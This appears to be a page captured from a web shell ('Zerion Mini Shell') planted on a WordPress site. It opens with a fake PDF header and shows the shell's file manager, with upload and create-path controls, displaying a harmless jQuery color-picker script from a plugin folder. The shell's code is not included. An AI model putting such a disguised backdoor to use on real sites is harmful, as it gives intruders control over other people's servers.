%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/gachan/www/wp-content/plugins/jekas_extensions/meta-box/js/
Upload File :
Create Path :
Current File : /home/gachan/www/wp-content/plugins/jekas_extensions/meta-box/js/rwmb_spectrum.js

/**
 * Created by admin on 31/07/15.
 */

jQuery( function ( $ )
{
    'use strict';

    function rwmb_update_spectrum()
    {
        var $this = $( this ),
        options ={
                showInput:true,
                showAlpha:true,
                allowEmpty:true,
                preferredFormat:'hex6',
                change: function(color){

                    $(this).val(color);

                }
            };

        $this.siblings( '.sp-replacer' ).remove();

        $this.show().spectrum(options);

    }

    $( ':input.rwmb-color-rgba' ).each( rwmb_update_spectrum );
    $( '.rwmb-input' ).on( 'clone', ':input.rwmb-color-rgba', rwmb_update_spectrum );
} );



Zerion Mini Shell 1.0